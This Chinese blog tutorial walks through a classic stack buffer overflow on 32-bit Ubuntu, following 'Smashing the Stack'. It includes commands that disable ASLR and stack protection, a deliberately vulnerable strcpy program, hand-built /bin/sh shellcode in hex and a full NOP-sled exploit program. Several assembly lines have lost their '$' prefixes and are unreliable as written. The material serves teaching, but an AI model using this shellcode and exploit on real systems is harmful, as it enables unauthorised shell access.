缓冲区溢出攻击演示

实验环境 :Ubuntu 12.04 i386

缓冲区溢出攻击是黑客攻击的入门攻击,但是由于现在的编译器和系统进行了多种防护,导致缓冲区溢出攻击非常具有挑战性。

这里只演示简单的缓冲区溢出的原始做法。

在实验之前,先关闭ASLR保护,sudo echo "0" > /proc/sys/kernel/randomize_va_space

编译程序时使用该命令:gcc -fno-stack-protector -z execstack -o hello hello.c,关闭编译器的栈保护。

 

缓冲区溢出攻击的大致原理是:通过修改返回地址,改变程序的执行流程,执行攻击者设置的一段代码。

具体的细节就不展开介绍了,大家可以参考这一篇经典文章,《Smashing the stack for fun and profit》,中文译文:https://blog.csdn.net/weixin_34367257/article/details/89730743。我的代码也是取自这里。

 

先来看一个程序

//仅用于演示,实际执行时由于环境的不同,结果不同
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
void function(int a, int b, int c) {
    char buffer1[5];
    char buffer2[10];
    int *ret;
 
    ret = buffer1 + 12;  
    (*ret) += 8;
}
 
void main() {
    int x;
 
    x = 0;
    function(1,2,3);
    x = 1;
    printf("%d\n",x);
}

这是取自《Smashing the stack for fun and profit》的一段代码,其中的数字不一定适合自己的环境,可以用gdb调一下。             ret = buffer1 + 12  buffer1是一个地址,可以理解为缓冲区的起始地址,加12得到返回地址的位置,即ret的值。                (*ret) += 8   (*ret)是ret指向位置的值,即返回地址。现在使其加8,即返回地址增加8,这会使程序从函数function返回后跳过x =1这条语句,直接执行printf()。这样就修改了程序的执行流程。

 

缓冲区溢出攻击和这比较相似,利用了有缺陷的函数,比如strcpy这种不检查边界的函数,直接覆盖返回地址,从而使程序执行攻击者想要的部分,如shellcode(获取shell的代码)。

 

下面进行攻击的演示。

这是一个被攻击的程序。这里设置了一个512字节的buffer,调用了strcpy函数为其赋值,如果argv[1]的大小超过512个字节,就会发生缓冲区溢出。

//vulnerable.c
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
void main(int argc, char *argv[]) {
    char buffer[512];
 
    if (argc > 1)
        strcpy(buffer,argv[1]);
}

然后构造shellcode。

先给出shellcode的C语言描述。可以运行该代码,发现获取shell,这是因为execve(执行文件)在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序,而其实体是/bin/bash,即linux的shell。我们真正要构造的shellcode其实是execve这一行,可以使用静态链接的方法用gdb反汇编得到main和execve的完整汇编代码,作为编写实际shellcode的汇编代码的依据。

#include<unistd.h>
 
void main() {
    char *name[2];
 
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}

根据我们的实验原理,有如下步骤:

a) 把以NULL结尾的字串"/bin/sh"放到内存某处. 
b) 把字串"/bin/sh"的地址放到内存某处, 后面跟一个空的长字(null long word). 
c) 把0xb放到寄存器EAX中. 
d) 把字串"/bin/sh"的地址放到寄存器EBX中. 
e) 把字串"/bin/sh"地址的地址放到寄存器ECX中.  
f) 把空长字的地址放到寄存器EDX中. 
g) 执行指令int x80
h) 把0x1放到寄存器EAX中. 
i) 把0x0放到寄存器EBX中. 
j) 执行指令int x80.

根据这些写出汇编代码

movl string_addr,string_addr_addr
movb x0,null_byte_addr
movl x0,null_addr
movl xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int x80
movl x1, %eax
movl x0, %ebx
int x80
/bin/sh string goes here.

但是我们面临着一个问题:不能事先知道上述代码会被放到程序的内存空间中的哪个位置,因此我们要采用相对寻址方式,利用可以获取的绝对地址和call、jmp指令跳转到这个位置。更改如下。

jmp offset-to-call # 2 bytes
popl %esi # 1 byte
movl %esi,array-offset(%esi) # 3 bytes
movb x0,nullbyteoffset(%esi)# 4 bytes
movl x0,null-offset(%esi) # 7 bytes
movl xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset(%esi),%ecx # 3 bytes
leal null-offset(%esi),%edx # 3 bytes
int x80 # 2 bytes
movl x1, %eax # 5 bytes
movl x0, %ebx # 5 bytes
int x80 # 2 bytes
call offset-to-popl # 5 bytes
/bin/sh string goes here.

经计算,用实际数值替换掉里面的偏移量,如下:

jmp 0x26 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb x0,0x7(%esi) # 4 bytes
movl x0,0xc(%esi) # 7 bytes
movl xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int x80 # 2 bytes
movl x1, %eax # 5 bytes
movl x0, %ebx # 5 bytes
int x80 # 2 bytes
call -0x2b # 5 bytes
.string \"/bin/sh\" # 8 bytes

由此,得到相应的16进制代码:

\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3

但是,任何x00都会被strcpy当作字符串的末尾,导致后面的字符串无法被复制。因此,我们要消除x00字符,途径是修改用到的部分汇编指令。

修改前              修改后
movb x0,0x7(%esi) xorl %eax,%eax
molv x0,0xc(%esi) movb %eax,0x7(%esi)
                  movl %eax,0xc(%esi)
-------------------------------------
movl xb,%eax      movb xb,%al
-------------------------------------
movl x1, %eax     xorl %ebx,%ebx
movl x0, %ebx     movl %ebx,%eax
                  inc %eax

然后我们得到了所需的shellcode的16进制代码:\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh

 

最后,构造攻击代码如下

//exploit
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
 
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
 
char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";
 
unsigned long get_sp(void) {
    __asm__("movl %esp,%eax");
}
 
void main(int argc, char *argv[]) {
    char *buff, *ptr;
    long *addr_ptr, addr;
    int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
 
    int i;
 
    if (argc > 1) bsize = atoi(argv[1]);
    if (argc > 2) offset = atoi(argv[2]);
 
    if (!(buff = malloc(bsize))) {
        printf("Can't allocate memory.\n");
        exit(0);
    }
 
    addr = get_sp() - offset;
    printf("Using address: 0x%lx\n", addr);
 
    ptr = buff;
    addr_ptr = (long *) ptr;
    for (i = 0; i < bsize; i+=4)
        *(addr_ptr++) = addr;
 
    for (i = 0; i < bsize/2; i++)
        buff[i] = NOP;
 
    ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
    for (i = 0; i < strlen(shellcode); i++)
        *(ptr++) = shellcode[i];
 
    buff[bsize - 1] = '\0';
 
    memcpy(buff,"EGG=",4);
    putenv(buff);
    system("/bin/bash");
}

这段代码的原理:                                                                 

1. 获取一个可以利用的绝对地址:使用get_sp获取sp的当前值,即栈顶的地址。然后由此可以进行相对寻址的操作。

2. 执行流程转到shellcode: 当argc==2时,如果把argv[1]==612,那么addr是buff中一个比较靠近开始开始位置(约为第100个单元)。把所有的buff单元都设置成addr的值。然后把buff的前一半都设置为nop,即空指令。然后再把shellcode放在buff中间的部分,最后把buff的最后一个单元设置为'\0',即字符串的结尾。这样,当buff复制给vulnerable的512个字节的buffer时,除了512个字节被赋值,还有100个字节被覆盖,其中就包括返回地址,返回地址被设置为上述的addr。当vulnerable调用完strcpy要返回时,返回地址为addr,则跳转到buffer的addr位置,然后经过一些nop指令,逐渐到shellcode部分,接着执行shellcode,实现了攻击的目的。

 

./vulnerable $EGG后获得了shell,效果如下:

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值